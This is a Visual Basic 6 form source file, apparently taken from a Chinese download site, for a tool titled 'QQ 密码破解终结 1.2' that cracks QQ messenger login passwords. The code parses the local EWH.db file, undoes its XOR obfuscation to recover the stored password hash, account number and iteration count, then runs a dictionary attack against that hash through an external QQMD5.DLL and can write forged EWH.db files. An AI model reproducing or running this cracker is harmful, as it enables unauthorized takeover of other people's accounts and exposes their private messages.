⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 frmqqpwd.frm

📁 一个用汇编、VC、VB联合写的破解QQ密码的工具
💻 FRM
字号:
VERSION 5.00
Begin VB.Form frmQQPwd 
   Caption         =   "QQ 密码破解终结 1.2"
   ClientHeight    =   4230
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   9270
   Icon            =   "frmQQPwd.frx":0000
   LinkTopic       =   "Form1"
   LockControls    =   -1  'True
   MaxButton       =   0   'False
   ScaleHeight     =   4230
   ScaleWidth      =   9270
   StartUpPosition =   2  '屏幕中心
   Begin VB.CheckBox Check1 
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      Caption         =   "产生EWH.DB文件"
      ForeColor       =   &H80000008&
      Height          =   225
      Left            =   5490
      TabIndex        =   20
      Top             =   1478
      Value           =   1  'Checked
      Width           =   1740
   End
   Begin VB.CommandButton cmdCalTest 
      Caption         =   "算法测试"
      Height          =   825
      Left            =   7320
      TabIndex        =   19
      Top             =   3225
      Width           =   1515
   End
   Begin VB.TextBox txtHelp 
      Appearance      =   0  'Flat
      Height          =   1020
      Left            =   105
      MultiLine       =   -1  'True
      TabIndex        =   18
      Text            =   "frmQQPwd.frx":030A
      Top             =   3120
      Width           =   8880
   End
   Begin VB.CommandButton cmdLoadDictionary 
      Caption         =   "加载字典文件.."
      Enabled         =   0   'False
      Height          =   315
      Left            =   7350
      TabIndex        =   16
      Top             =   2310
      Width           =   1650
   End
   Begin VB.TextBox txtCalHash 
      Appearance      =   0  'Flat
      BackColor       =   &H00C0C0C0&
      Height          =   300
      Left            =   4470
      Locked          =   -1  'True
      TabIndex        =   12
      Top             =   1845
      Width           =   4530
   End
   Begin VB.TextBox txtFileHash 
      Appearance      =   0  'Flat
      BackColor       =   &H00C0C0C0&
      Height          =   300
      Left            =   4470
      Locked          =   -1  'True
      TabIndex        =   10
      Top             =   510
      Width           =   4530
   End
   Begin VB.TextBox txtUIN 
      Appearance      =   0  'Flat
      BackColor       =   &H00C0C0C0&
      Height          =   300
      Left            =   1155
      Locked          =   -1  'True
      TabIndex        =   8
      Text            =   "110340156"
      Top             =   525
      Width           =   1785
   End
   Begin VB.TextBox txtFileName 
      Appearance      =   0  'Flat
      BackColor       =   &H00C0C0C0&
      Height          =   300
      Left            =   1155
      Locked          =   -1  'True
      TabIndex        =   6
      Text            =   "EWH.db"
      Top             =   105
      Width           =   6075
   End
   Begin VB.CommandButton cmdOpenFile 
      Caption         =   "打开QQ EWH文件.."
      Height          =   315
      Left            =   7350
      TabIndex        =   5
      Top             =   98
      Width           =   1650
   End
   Begin VB.TextBox txtEWH 
      Appearance      =   0  'Flat
      BackColor       =   &H00E0E0E0&
      Height          =   300
      Left            =   1155
      TabIndex        =   4
      Text            =   "12345"
      Top             =   1440
      Width           =   4155
   End
   Begin VB.TextBox txtAST 
      Appearance      =   0  'Flat
      BackColor       =   &H00E0E0E0&
      Height          =   285
      Left            =   1155
      TabIndex        =   3
      Text            =   "10000"
      Top             =   1853
      Width           =   1710
   End
   Begin VB.CommandButton cmdCalculate 
      Caption         =   "单步计算QQ Hash"
      Height          =   315
      Left            =   7350
      TabIndex        =   0
      Top             =   1433
      Width           =   1650
   End
   Begin VB.Label Label2 
      AutoSize        =   -1  'True
      BackColor       =   &H000000FF&
      Caption         =   "正在搜索……"
      Height          =   180
      Left            =   120
      TabIndex        =   17
      Top             =   2850
      Visible         =   0   'False
      Width           =   1080
   End
   Begin VB.Label lblMailto 
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      AutoSize        =   -1  'True
      BackColor       =   &H00C0FFFF&
      BorderStyle     =   1  'Fixed Single
      Caption         =   " Author:China54          Email:Binny@vip.163.com "
      ForeColor       =   &H00FF0000&
      Height          =   225
      Left            =   4470
      MouseIcon       =   "frmQQPwd.frx":0310
      MousePointer    =   99  'Custom
      TabIndex        =   15
      Top             =   1065
      Width           =   4530
   End
   Begin VB.Label Label4 
      AutoSize        =   -1  'True
      BackStyle       =   0  'Transparent
      Caption         =   "本程序代码无版权限制,但因为使用不当等原因对您或社会造成伤害,作者概不负责。"
      ForeColor       =   &H00E0E0E0&
      Height          =   180
      Left            =   90
      TabIndex        =   14
      Top             =   2475
      Width           =   6840
   End
   Begin VB.Line Line1 
      X1              =   180
      X2              =   9105
      Y1              =   1185
      Y2              =   1185
   End
   Begin VB.Label Label1 
      AutoSize        =   -1  'True
      Caption         =   "QQ 计算Hash:"
      Height          =   180
      Index           =   5
      Left            =   3150
      TabIndex        =   13
      Top             =   1905
      Width           =   1170
   End
   Begin VB.Label Label1 
      AutoSize        =   -1  'True
      Caption         =   "QQ 文件Hash:"
      Height          =   180
      Index           =   4
      Left            =   3150
      TabIndex        =   11
      Top             =   570
      Width           =   1170
   End
   Begin VB.Label Label1 
      AutoSize        =   -1  'True
      Caption         =   "QQ 号码:"
      Height          =   180
      Index           =   3
      Left            =   150
      TabIndex        =   9
      Top             =   570
      Width           =   810
   End
   Begin VB.Label Label1 
      AutoSize        =   -1  'True
      Caption         =   "QQ 文件:"
      Height          =   180
      Index           =   2
      Left            =   150
      TabIndex        =   7
      Top             =   165
      Width           =   810
   End
   Begin VB.Label Label1 
      AutoSize        =   -1  'True
      Caption         =   "循环次数:"
      Height          =   180
      Index           =   1
      Left            =   150
      TabIndex        =   2
      Top             =   1905
      Width           =   900
   End
   Begin VB.Label Label1 
      AutoSize        =   -1  'True
      Caption         =   "登录口令:"
      Height          =   180
      Index           =   0
      Left            =   150
      TabIndex        =   1
      Top             =   1500
      Width           =   900
   End
End
Attribute VB_Name = "frmQQPwd"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
'能够破解QQ2004~QQ2005等任意版本

'===========================================================================
'     Code Name:       演示采用暴力方法破解QQ登陆密码
'     First Built:     2005-1-5
'     Last Modify:     2005-3-5
'     Author:          赵斌(Binny)
'     Copyright:       本程序代码无版权限制,但因为使用不当等原因 _
                       对你或社会造成伤害,作者概不负责。
'===========================================================================

'   很多时候,与其去研究什么密码算法,还不如采取暴力破解。
'   不过,如果能知道密码的算法,就可以斯文一点了。

'   本动态库 QQMD5.DLL 由于为了兼顾 Tencent 的利益,因此暂时保密,等 Tencent 修改了密码算法后将公开
'   动态库QQMD5.DLL为纯汇编编写,因此,不保证其安全使用。作者保留版权但允许在此基础上进行扩展,例如多线程之类的应用。

'2005年3月5日 增加了MD5代码速度测试

Dim mbMove As Boolean
Private Type QDFile
  DataFlag As String  '数据段的标志
  sData As String     '原始数据
  bytDataType As Byte '数据段类型
End Type
Private mTQDFile() As QDFile

Private Sub cmdCalculate_Click()
  Dim byt() As Byte
  Dim sFileString  As String
  Dim iFreeFile As Integer
  On Error Resume Next
  
  If (IsNumeric(txtAST.Text)) Then
    If LoIsCrack(txtEWH.Text) Then MsgBox "恭喜你,找到亲爱的密码!^_^", vbInformation
  End If
  If Check1.Value = vbChecked Then
    sFileString = "51 44 01 01 03 00 04 03 00 BD AF A8 04 00 00 00" & _
                  "00 00 00 00 07 03 00 B9 AB B4 10 00 00 00 " & _
                  txtCalHash.Text & " 04 03" & _
                  "00 A9 B5 B2 04 00 00 00 51 51 49 44"
    sFileString = Replace(sFileString, " ", "")
    byt = INNER_Hex2ByteA(sFileString)
    iFreeFile = FreeFile
    Open "EWH.db" For Binary As #iFreeFile
    Put #iFreeFile, , byt
    Close #iFreeFile
  End If
End Sub

Private Sub cmdCalTest_Click()
  frmMD5Test.Show
End Sub

Private Sub cmdLoadDictionary_Click()
  Dim sFile As String
  Dim iFreeFile As Integer
  If (IsNumeric(txtAST.Text)) And (txtFileHash.Text <> "") Then
    sFile = INNER_GetFileName(True, "dic (*.dic)|*.dic|txt (*.txt)|*.txt", "dic", , "请选择字典文件")
    If sFile <> "" Then
      iFreeFile = FreeFile
      Dim sTextLine
      Open sFile For Input As #iFreeFile   ' 打开文件。
      Do While Not EOF(iFreeFile)
         Line Input #iFreeFile, sTextLine   ' 读入一行数据并将其赋予某变量。
         txtEWH.Text = sTextLine
         If LoIsCrack(txtEWH.Text) Then
           MsgBox "恭喜你,找到亲爱的密码!^_^" & vbCrLf & sTextLine, vbInformation, sTextLine
           Exit Do
         End If
         DoEvents '如果写专业代码,注意退出程序时,在这里要跳出,避免程序无法关闭
         If gbExit Then
           Close #iFreeFile
           Exit Do
           Unload Me
           Exit Sub
         End If
         Label2.Visible = Not Label2.Visible
      Loop
      Close #iFreeFile
    End If
  End If
  Label2.Visible = False
End Sub

Private Function LoIsCrack(fsPwd As String) As Boolean
  Dim lAST As Long
  lAST = Val(txtAST.Text)
  txtCalHash.Text = UCase(INNER_GetQQHash(fsPwd, lAST))
  LoIsCrack = txtFileHash.Text = txtCalHash.Text
End Function

Private Sub cmdOpenFile_Click()
  Dim sFile As String
  Dim iFreeFile As Integer
  Dim bytFile() As Byte
  Dim k As Long
  Dim dbl As Double
  On Error GoTo Errlabel
  sFile = INNER_GetFileName(True, "db (*.db)|*.db", "db", txtFileName.Text, "请选择QQ数据库文件")
  If Len(sFile) > 0 Then
    txtFileName.Text = sFile
    iFreeFile = FreeFile
    Open sFile For Binary As #iFreeFile
    k = LOF(iFreeFile)
    If k > &H30 Then
      ReDim bytFile(k - 1)
      Get #iFreeFile, 1, bytFile
      If bytFile(0) = &H51 And bytFile(1) = &H44 Then
        '得到QQ号
        '通过文件解调QQ数据
        LoAnalysisQD bytFile
        For k = 0 To UBound(mTQDFile)
          With mTQDFile(k)
            Select Case UCase(.DataFlag)
              Case "AST"
                txtAST.Text = INNER_Hex2Double(.sData)
              Case "UIN"
                txtUIN.Text = INNER_Hex2Double(.sData)
              Case "EWH"
                txtFileHash.Text = .sData
            End Select
          End With
        Next k
      Else '
        txtFileHash.Text = "非QQ数据文件"
      End If
    End If
    Close #iFreeFile
  End If
  Exit Sub
Errlabel:
  If iFreeFile > 0 Then Close #iFreeFile
  txtFileHash.Text = "错误:" & Err.Description
End Sub

'本算法等同于文章中的“五、数据结构分析中的汇编代码”
Private Sub LoAnalysisQD(fbyt() As Byte)
  Dim k As Long
  Dim m As Long
  Dim lPoint As Long
  Dim lLen As Long
  Dim lDataSections As Long
  Dim bytKey As Byte
  lDataSections = fbyt(4) + CLng(fbyt(5)) * 256 '总数据段长度
  lPoint = 6
  If lDataSections > 0 Then ReDim mTQDFile(lDataSections - 1)
  For k = 0 To lDataSections - 1
    mTQDFile(k).bytDataType = fbyt(lPoint)
'    If mTQDFile(k).bytDataType = 4 Then '非加密数据
      '得到长度
      lLen = fbyt(lPoint + 1) + CLng(fbyt(lPoint + 2)) * 256
      bytKey = fbyt(lPoint + 1) Xor fbyt(lPoint + 2)
      bytKey = 255 - bytKey '非逻辑操作
      lPoint = lPoint + 3
      For m = 0 To lLen - 1
        mTQDFile(k).DataFlag = mTQDFile(k).DataFlag & Chr(fbyt(lPoint + m) Xor bytKey)
      Next m
      lPoint = lPoint + lLen
      lLen = fbyt(lPoint) + CLng(fbyt(lPoint + 1)) * 256 + CLng(fbyt(lPoint + 2)) * 65536 '由于不会有太多数据,所以不做最高位的计算
      lPoint = lPoint + 4
      For m = 0 To lLen - 1
        mTQDFile(k).sData = mTQDFile(k).sData & INNER_Byte2Hex(fbyt(lPoint + m))
      Next m
      lPoint = lPoint + lLen
'    ElseIf mTQDFile(k).bytDataType = 7 Then '属于加密段
'    End If
  Next k
End Sub

Private Sub Form_Load()
  txtHelp = vbCrLf & "第一步,找到并打开EWH.db文件" & vbCrLf & _
                     "第二步,按“加载字典文件”找到一个字典开始破解" & vbCrLf & _
                     "第三步,如果成功则会提示该密码"
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
  If mbMove Then
    mbMove = False
    lblMailto.ForeColor = vbBlue
  End If
  Label4.ForeColor = txtFileName.BackColor
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
  End
End Sub

Private Sub Form_Unload(Cancel As Integer)
  gbExit = True
End Sub

Private Sub Label4_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
  Label4.ForeColor = vbRed
End Sub

Private Sub lblMailto_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
  If Button = vbLeftButton Then
    Call ShellExecute(0&, vbNullString, "MailTo:Binny@vip.163.com", vbNullString, vbNullString, vbNormalFocus)
  End If
End Sub

Private Sub lblMailto_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
  If Not mbMove Then
    lblMailto.ForeColor = vbRed
    mbMove = True
  End If
End Sub

Private Sub txtFileHash_Change()
  cmdLoadDictionary.Enabled = Len(txtFileHash.Text) > 0
End Sub

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -